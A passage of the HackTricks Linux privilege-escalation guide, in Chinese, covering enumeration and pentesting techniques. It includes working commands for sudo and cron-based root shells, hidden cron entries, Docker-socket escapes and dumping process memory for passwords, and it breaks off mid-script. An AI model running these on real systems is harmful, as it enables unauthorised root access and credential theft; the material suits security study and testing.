Linux Privilege Escalation

支持 HackTricks

系统信息

操作系统信息

让我们开始获取运行中操作系统的一些信息。

(cat /proc/version || uname -a ) 2>/dev/null
lsb_release -a 2>/dev/null # old, not by default on many systems
cat /etc/os-release 2>/dev/null # universal on modern systems

路径

如果您PATH变量中的任何文件夹具有写权限,则可能能够劫持一些库或二进制文件:

echo $PATH

环境信息

环境变量中是否包含有趣的信息、密码或 API 密钥?

(env || set) 2>/dev/null

内核漏洞利用

检查内核版本,看是否存在可用于提升权限的漏洞利用。

cat /proc/version
uname -a
searchsploit "Linux Kernel"

您可以在此处找到一份良好的易受攻击内核列表以及一些已经编译好的利用程序https://github.com/lucyoa/kernel-exploitsexploitdb sploits。 其他一些可以找到一些编译好的利用程序的网站:https://github.com/bwbwbwbw/linux-exploit-binaries, https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack

要从该网站提取所有易受攻击的内核版本,您可以执行以下操作:

curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' '

以下是一些可以帮助搜索内核漏洞利用的工具:

linux-exploit-suggester.sh linux-exploit-suggester2.pl linuxprivchecker.py(在受害者中执行,仅检查内核 2.x 的漏洞利用)

始终在 Google 中搜索内核版本,也许你的内核版本已经写在某个内核漏洞利用中,这样你就可以确保这个漏洞利用是有效的。

CVE-2016-5195(DirtyCow)

Linux 特权提升 - Linux 内核 <= 3.19.0-73.8

# make dirtycow stable
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c

Sudo版本

基于出现在以下漏洞sudo版本:

searchsploit sudo

您可以使用以下 grep 命令检查 sudo 版本是否存在漏洞。

sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]"

sudo < v1.28

来自 @sickrov

sudo -u#-1 /bin/bash

Dmesg签名验证失败

检查HTB的smasher2盒子,了解如何利用此漏洞的示例

dmesg 2>/dev/null | grep "signature"

更多系统枚举

date 2>/dev/null #Date
(df -h || lsblk) #System stats
lscpu #CPU info
lpstat -a 2>/dev/null #Printers info

枚举可能的防御措施

AppArmor

if [ `which aa-status 2>/dev/null` ]; then
aa-status
elif [ `which apparmor_status 2>/dev/null` ]; then
apparmor_status
elif [ `ls -d /etc/apparmor* 2>/dev/null` ]; then
ls -d /etc/apparmor*
else
echo "Not found AppArmor"
fi

Grsecurity

Grsecurity

((uname -r | grep "\-grsec" >/dev/null 2>&1 || grep "grsecurity" /etc/sysctl.conf >/dev/null 2>&1) && echo "Yes" || echo "Not found grsecurity")

PaX

(which paxctl-ng paxctl >/dev/null 2>&1 && echo "Yes" || echo "Not found PaX")

Execshield

Execshield

(grep "exec-shield" /etc/sysctl.conf || echo "Not found Execshield")

SElinux

SElinux

(sestatus 2>/dev/null || echo "Not found sestatus")

ASLR

地址空间布局随机化

cat /proc/sys/kernel/randomize_va_space 2>/dev/null
#If 0, not enabled

Docker逃逸

如果你在一个Docker容器内部,你可以尝试从中逃脱:

Docker Security

磁盘

检查已挂载和未挂载的内容,在哪里以及为什么。如果有任何未挂载的内容,你可以尝试挂载它并检查是否有私人信息。

ls /dev 2>/dev/null | grep -i "sd"
cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null
#Check if credentials in fstab
grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null

有用的软件

枚举有用的可执行文件

which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null

另外,检查是否已安装任何编译器。如果您需要使用某个内核利用程序,这将非常有用,因为建议在您将要使用它的机器上(或类似的机器上)编译它。

(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")

已安装的易受攻击软件

检查已安装软件包和服务的版本。也许有一些旧的 Nagios 版本(例如)可能被利用来提升权限... 建议手动检查更可疑的已安装软件的版本。

dpkg -l #Debian
rpm -qa #Centos

如果您可以访问机器的SSH,还可以使用openVAS来检查机器内安装的过时和有漏洞的软件。

请注意,这些命令将显示大量大多数情况下无用的信息,因此建议使用一些类似OpenVAS的应用程序,以检查安装的软件版本是否容易受到已知漏洞的影响

进程

查看正在执行的进程,并检查是否有任何进程具有比应有的更多权限(也许是由root执行的tomcat?)

ps aux
ps -ef
top -n 1

始终检查可能正在运行的electron/cef/chromium调试器,您可以滥用它来提升权限Linpeas通过检查进程的命令行中的--inspect参数来检测这些内容。 还要检查您对进程二进制文件的权限,也许您可以覆盖某人的权限。

进程监控

您可以使用pspy等工具来监视进程。这对于识别频繁执行的易受攻击的进程或在满足一组要求时执行的进程非常有用。

进程内存

服务器的一些服务会在内存中以明文保存凭据。 通常,您需要root权限才能读取属于其他用户的进程的内存,因此当您已经是root并希望发现更多凭据时,这通常更有用。 但是,请记住作为普通用户,您可以读取自己拥有的进程的内存

请注意,如今大多数机器默认不允许ptrace,这意味着您无法转储属于您非特权用户的其他进程。

文件 /proc/sys/kernel/yama/ptrace_scope 控制ptrace的可访问性:

  • kernel.yama.ptrace_scope = 0:只要它们具有相同的uid,所有进程都可以被调试。这是ptracing的经典方式。

  • kernel.yama.ptrace_scope = 1:只有父进程可以被调试。

  • kernel.yama.ptrace_scope = 2:只有管理员可以使用ptrace,因为它需要CAP_SYS_PTRACE功能。

  • kernel.yama.ptrace_scope = 3:不允许使用ptrace跟踪任何进程。设置后,需要重新启动才能再次启用ptracing。

GDB

如果您可以访问FTP服务的内存(例如),您可以获取Heap并在其中搜索凭据。

gdb -p <FTP_PROCESS_PID>
(gdb) info proc mappings
(gdb) q
(gdb) dump memory /tmp/mem_ftp <START_HEAD> <END_HEAD>
(gdb) q
strings /tmp/mem_ftp #User and password

GDB 脚本

dump-memory.sh
#!/bin/bash
#./dump-memory.sh <PID>
grep rw-p /proc/$1/maps \
| sed -n 's/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p' \
| while read start stop; do \
gdb --batch --pid $1 -ex \
"dump memory $1-$start-$stop.dump 0x$start 0x$stop"; \
done

/proc/$pid/maps & /proc/$pid/mem

对于给定的进程ID,maps 显示了内存在该进程的虚拟地址空间中是如何映射的;它还显示了每个映射区域的权限mem 伪文件暴露了进程的内存本身。从 maps 文件中,我们知道哪些内存区域是可读的以及它们的偏移量。我们利用这些信息定位到 mem 文件并将所有可读区域转储到一个文件中

procdump()
(
cat /proc/$1/maps | grep -Fv ".so" | grep " 0 " | awk '{print $1}' | ( IFS="-"
while read a b; do
dd if=/proc/$1/mem bs=$( getconf PAGESIZE ) iflag=skip_bytes,count_bytes \
skip=$(( 0x$a )) count=$(( 0x$b - 0x$a )) of="$1_mem_$a.bin"
done )
cat $1*.bin > $1.dump
rm $1*.bin
)

/dev/mem

/dev/mem 提供对系统的物理内存的访问,而不是虚拟内存。内核的虚拟地址空间可以使用 /dev/kmem 访问。 通常,/dev/mem 只能被 rootkmem 组读取。

strings /dev/mem -n10 | grep -i PASS

ProcDump for Linux

ProcDump是Sysinternals工具套件中经典ProcDump工具的Linux重新设计版本。在https://github.com/Sysinternals/ProcDump-for-Linux获取。

procdump -p 1714

ProcDump v1.2 - Sysinternals process dump utility
Copyright (C) 2020 Microsoft Corporation. All rights reserved. Licensed under the MIT license.
Mark Russinovich, Mario Hewardt, John Salem, Javid Habibi
Monitors a process and writes a dump file when the process meets the
specified criteria.

Process:		sleep (1714)
CPU Threshold:		n/a
Commit Threshold:	n/a
Thread Threshold:		n/a
File descriptor Threshold:		n/a
Signal:		n/a
Polling interval (ms):	1000
Threshold (s):	10
Number of Dumps:	1
Output directory for core dumps:	.

Press Ctrl-C to end monitoring without terminating the process.

[20:20:58 - WARN]: Procdump not running with elevated credentials. If your uid does not match the uid of the target process procdump will not be able to capture memory dumps
[20:20:58 - INFO]: Timed:
[20:21:00 - INFO]: Core dump 0 generated: ./sleep_time_2021-11-03_20:20:58.1714

工具

要转储进程内存,您可以使用:

从进程内存中获取凭据

手动示例

如果您发现认证进程正在运行:

ps -ef | grep "authenticator"
root      2027  2025  0 11:46 ?        00:00:00 authenticator

您可以转储进程(查看前面的部分以找到转储进程内存的不同方法),并在内存中搜索凭据:

./dump-memory.sh 2027
strings *.dump | grep -i password

mimipenguin

该工具https://github.com/huntergregal/mimipenguin将从内存和一些知名文件窃取明文凭据。它需要 root 权限才能正常工作。

功能进程名称

GDM 密码 (Kali 桌面, Debian 桌面)

gdm-password

Gnome Keyring (Ubuntu 桌面, ArchLinux 桌面)

gnome-keyring-daemon

LightDM (Ubuntu 桌面)

lightdm

VSFTPd (活动 FTP 连接)

vsftpd

Apache2 (活动 HTTP 基本认证会话)

apache2

OpenSSH (活动 SSH 会话 - Sudo 使用)

sshd:

Search Regexes/truffleproc

# un truffleproc.sh against your current Bash shell (e.g. $$)
./truffleproc.sh $$
# coredumping pid 6174
Reading symbols from od...
Reading symbols from /usr/lib/systemd/systemd...
Reading symbols from /lib/systemd/libsystemd-shared-247.so...
Reading symbols from /lib/x86_64-linux-gnu/librt.so.1...
[...]
# extracting strings to /tmp/tmp.o6HV0Pl3fe
# finding secrets
# results in /tmp/tmp.o6HV0Pl3fe/results.txt

计划任务/Cron 作业

检查是否有任何计划任务存在漏洞。也许你可以利用由 root 执行的脚本(通配符漏洞?可以修改 root 使用的文件?使用符号链接?在 root 使用的目录中创建特定文件?)。

crontab -l
ls -al /etc/cron* /etc/at*
cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#"

Cron路径

例如,在 /etc/crontab 文件中,您可以找到路径:PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

(请注意用户"user"对/home/user具有写入权限)

如果在这个crontab文件中,root用户尝试执行一些命令或脚本而没有设置路径。例如:* * * * root overwrite.sh 然后,您可以通过以下方式获得root shell:

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
#Wait cron job to be executed
/tmp/bash -p #The effective uid and gid to be set to the real uid and gid

使用带通配符的脚本执行 Cron 任务(通配符注入)

如果一个由 root 执行的脚本中的命令包含“*”,你可以利用这一点执行意外操作(比如权限提升)。示例:

rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script

如果通配符前面有路径,比如 /some/path/* ,它就不会有漏洞(即使 ./* 也不会有漏洞)。

阅读以下页面以了解更多通配符利用技巧:

Wildcards Spare tricks

Cron脚本覆盖和符号链接

如果你可以修改由root执行的cron脚本,你可以非常容易地获得一个shell:

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT>
#Wait until it is executed
/tmp/bash -p

如果由root执行的脚本使用了你拥有完全访问权限的目录,也许删除该文件夹并创建一个符号链接文件夹到另一个,以便运行你控制的脚本可能会很有用。

ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>

频繁的 cron 作业

您可以监视进程,以搜索每隔 1、2 或 5 分钟执行的进程。也许您可以利用它来提升权限。

例如,要在 1 分钟内每 0.1 秒监视按最少执行命令排序并删除已执行最多次的命令,您可以执行:

for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;

你也可以使用 pspy (这将监视并列出每个启动的进程)。

隐形的定时任务

可以创建一个定时任务在注释后加一个回车符(没有换行符),这样定时任务就会生效。示例(注意回车符):

#This is a comment inside a cron config file\r* * * * * echo "Surprise!"

服务

可写的 .service 文件

检查是否可以写入任何 .service 文件,如果可以,您可以修改它,以便在服务启动重新启动停止执行您的后门(也许您需要等到机器重新启动)。 例如,在 .service 文件中创建您的后门,使用**ExecStart=/tmp/script.sh**

可写的服务二进制文件

请记住,如果您对服务执行的二进制文件具有写入权限,您可以将它们更改为后门,这样当服务被重新执行时,后门将被执行。

systemd 路径 - 相对路径

您可以查看systemd使用的路径:

systemctl show-environment

如果发现可以在路径中的任何文件夹中写入,可能可以提升权限。您需要搜索服务配置文件中使用的相对路径,例如:

ExecStart=faraday-server
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"

然后,在您可以编写的systemd PATH文件夹中创建一个与相对路径二进制文件同名的可执行文件,当服务被要求执行易受攻击的操作(启动停止重新加载)时,将执行您的后门(通常非特权用户无法启动/停止服务,但请检查是否可以使用 sudo -l)。

了解有关服务的更多信息,请使用 man systemd.service

定时器

定时器是以**.timer**结尾的systemd单元文件,用于控制**.service**文件或事件。定时器可用作cron的替代方案,因为它们内置支持日历时间事件和单调时间事件,并且可以异步运行。

您可以使用以下命令枚举所有定时器:

systemctl list-timers --all

可写定时器

如果您可以修改一个定时器,您可以让它执行一些 systemd.unit 中存在的内容(比如 .service.target)。

Unit=backdoor.service

在文档中,您可以阅读有关 Unit 的内容:

当此计时器到期时要激活的单元。参数是一个单元名称,其后缀不是 ".timer"。如果未指定,则此值默认为与计时器单元同名的服务,除了后缀。建议激活的单元名称和计时器单元的单元名称相同,除了后缀。

因此,要滥用此权限,您需要:

  • 找到一些 systemd 单元(如 .service),其中执行可写二进制文件

  • 找到一些 systemd 单元,其中执行相对路径,并且您对 systemd PATH 具有可写权限(以冒充该可执行文件)

通过 man systemd.timer 了解更多关于计时器的信息。

启用计时器

要启用计时器,您需要 root 权限并执行:

sudo systemctl enable backu2.timer
Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer  /lib/systemd/system/backu2.timer.

注意计时器是通过在/etc/systemd/system/<WantedBy_section>.wants/<name>.timer上创建符号链接来激活的。

套接字

Unix 域套接字 (UDS) 在客户端-服务器模型中允许进程通信,可以在同一台或不同的计算机上进行通信。它们利用标准的 Unix 描述符文件进行计算机间通信,并通过.socket文件进行设置。

套接字可以使用.socket文件进行配置。

通过 man systemd.socket 了解更多关于套接字的信息。 在这个文件中,可以配置几个有趣的参数:

  • ListenStreamListenDatagramListenSequentialPacketListenFIFOListenSpecialListenNetlinkListenMessageQueueListenUSBFunction:这些选项不同,但总结用于指示它将在哪里监听套接字(AF_UNIX 套接字文件的路径,要监听的 IPv4/6 和/或端口号等)。

  • Accept:接受一个布尔参数。如果为true,则为每个传入连接生成一个服务实例,并且只传递连接套接字给它。如果为false,则所有监听套接字本身都会传递给启动的服务单元,并且只为所有连接生成一个服务单元。对于数据报套接字和 FIFO,在那里一个单一服务单元无条件地处理所有传入流量,此值将被忽略。默认为 false。出于性能原因,建议仅以适合 Accept=no 的方式编写新的守护程序。

  • ExecStartPreExecStartPost:接受一个或多个命令行,这些命令行在创建和绑定监听套接字/FIFO 之前或之后执行。命令行的第一个标记必须是绝对文件名,然后是进程的参数。

  • ExecStopPreExecStopPost:额外的命令,在关闭和移除监听套接字/FIFO 之前或之后执行

  • Service:指定要在传入流量激活服务单元名称。此设置仅允许用于 Accept=no 的套接字。默认为与套接字同名的服务(后缀替换)。在大多数情况下,不应该需要使用此选项。

可写的 .socket 文件

如果找到一个可写.socket文件,你可以在[Socket]部分的开头添加类似于:ExecStartPre=/home/kali/sys/backdoor,那么在创建套接字之前将执行后门。因此,你可能需要等待机器重启。 请注意系统必须使用该套接字文件配置,否则后门将不会被执行

可写套接字

如果你识别出任何可写套接字现在我们谈论的是 Unix 套接字,而不是配置.socket文件),那么你可以与该套接字通信,也许利用一个漏洞。

枚举 Unix 套接字

netstat -a -p --unix

原始连接

#apt-get install netcat-openbsd
nc -U /tmp/socket  #Connect to UNIX-domain stream socket
nc -uU /tmp/socket #Connect to UNIX-domain datagram socket

#apt-get install socat
socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type

利用示例:

Socket Command Injection

HTTP sockets

请注意,可能有一些用于监听HTTP请求的套接字我指的不是 .socket 文件,而是充当 Unix 套接字的文件)。您可以使用以下命令检查:

curl --max-time 2 --unix-socket /pat/to/socket/files http:/index

可写的Docker套接字

Docker套接字通常位于/var/run/docker.sock,是一个关键文件,应该得到保护。默认情况下,它可被root用户和docker组的成员写入。拥有对此套接字的写入访问权限可能导致特权升级。以下是如何实现此操作的详细步骤,以及在无法使用Docker CLI时的替代方法。

使用Docker CLI进行特权升级

如果您对Docker套接字具有写入访问权限,可以使用以下命令升级特权:

docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh

这些命令允许您以根级访问主机文件系统来运行一个容器。

直接使用 Docker API

在 Docker CLI 不可用的情况下,仍然可以使用 Docker API 和 curl 命令来操作 Docker 套接字。

  1. 列出 Docker 镜像: 检索可用镜像列表。

curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json
  1. 创建一个容器: 发送一个请求来创建一个容器,挂载主机系统的根目录。

curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"<ImageID>","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create

启动新创建的容器:

curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/<NewContainerID>/start
  1. 连接到容器: 使用 socat 建立与容器的连接,从而在其中启用命令执行。

socat - UNIX-CONNECT:/var/run/docker.sock
POST /containers/<NewContainerID>/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1
Host:
Connection: Upgrade
Upgrade: tcp

建立 socat 连接后,您可以直接在容器中执行命令,以根级访问主机文件系统。

其他

请注意,如果您对 Docker 套接字拥有写权限,因为您在 docker 组内,您有更多提升权限的方法。如果 docker API 在某个端口上监听,您也可以可能对其进行妥协

在以下位置检查更多从 Docker 中突破或滥用以提升权限的方法

Docker Security

Containerd (ctr) 特权升级

如果您发现可以使用 ctr 命令,请阅读以下页面,因为您可能可以滥用它来提升权限

Containerd (ctr) Privilege Escalation

RunC 特权升级

如果您发现可以使用 runc 命令,请阅读以下页面,因为您可能可以滥用它来提升权限

RunC Privilege Escalation

D-Bus

D-Bus 是一个复杂的进程间通信(IPC)系统,使应用程序能够高效地交互和共享数据。设计时考虑到现代 Linux 系统,它为不同形式的应用程序通信提供了一个强大的框架。

该系统功能强大,支持增强数据交换的基本 IPC,类似于增强的 UNIX 域套接字。此外,它有助于广播事件或信号,促进系统组件之间的无缝集成。例如,来自蓝牙守护程序的来电信号可以提示音乐播放器静音,增强用户体验。此外,D-Bus 支持远程对象系统,简化了应用程序之间的服务请求和方法调用,简化了传统上复杂的流程。

D-Bus 采用允许/拒绝模型运行,根据匹配策略规则的累积效果管理消息权限(方法调用、信号发射等)。这些策略指定与总线的交互,可能允许通过利用这些权限来提升权限。

/etc/dbus-1/system.d/wpa_supplicant.conf 中提供了一个这样的策略示例,详细说明了根用户拥有、发送到和接收来自 fi.w1.wpa_supplicant1 的消息的权限。

未指定用户或组的策略适用于所有情况,而“默认”上下文策略适用于所有未被其他特定策略覆盖的情况。

<policy user="root">
<allow own="fi.w1.wpa_supplicant1"/>
<allow send_destination="fi.w1.wpa_supplicant1"/>
<allow send_interface="fi.w1.wpa_supplicant1"/>
<allow receive_sender="fi.w1.wpa_supplicant1" receive_type="signal"/>
</policy>

学习如何枚举和利用 D-Bus 通信:

D-Bus Enumeration & Command Injection Privilege Escalation

网络

枚举网络并确定机器位置总是很有趣。

通用枚举

#Hostname, hosts and DNS
cat /etc/hostname /etc/hosts /etc/resolv.conf
dnsdomainname

#Content of /etc/inetd.conf & /etc/xinetd.conf
cat /etc/inetd.conf /etc/xinetd.conf

#Interfaces
cat /etc/networks
(ifconfig || ip a)

#Neighbours
(arp -e || arp -a)
(route || ip n)

#Iptables rules
(timeout 1 iptables -L 2>/dev/null; cat /etc/iptables/* | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null)

#Files used by network services
lsof -i

开放端口

在访问之前,始终检查在机器上运行的网络服务,这些服务可能是您无法与之交互的。

(netstat -punta || ss --ntpu)
(netstat -punta || ss --ntpu) | grep "127.0"

嗅探

检查是否可以嗅探流量。如果可以的话,你可能能够获取一些凭据。

timeout 1 tcpdump

用户

通用枚举

检查您是,您拥有哪些特权,系统中有哪些用户,哪些可以登录,哪些拥有root特权

#Info about me
id || (whoami && groups) 2>/dev/null
#List all users
cat /etc/passwd | cut -d: -f1
#List users with console
cat /etc/passwd | grep "sh$"
#List superusers
awk -F: '($3 == "0") {print}' /etc/passwd
#Currently logged users
w
#Login history
last | tail
#Last log of each user
lastlog

#List all users and their groups
for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | sort
#Current user PGP keys
gpg --list-keys 2>/dev/null

大 UID

一些 Linux 版本受到一个允许具有 UID > INT_MAX 的用户提升权限的漏洞影响。更多信息: here, herehere. 利用方法:使用 systemd-run -t /bin/bash

用户组

检查是否是一些用户组的成员,这些用户组可能授予您 root 权限:

Interesting Groups - Linux Privesc

剪贴板

检查剪贴板中是否有任何有趣的内容(如果可能)

if [ `which xclip 2>/dev/null` ]; then
echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null`
echo "Highlighted text: "`xclip -o 2>/dev/null`
elif [ `which xsel 2>/dev/null` ]; then
echo "Clipboard: "`xsel -ob 2>/dev/null`
echo "Highlighted text: "`xsel -o 2>/dev/null`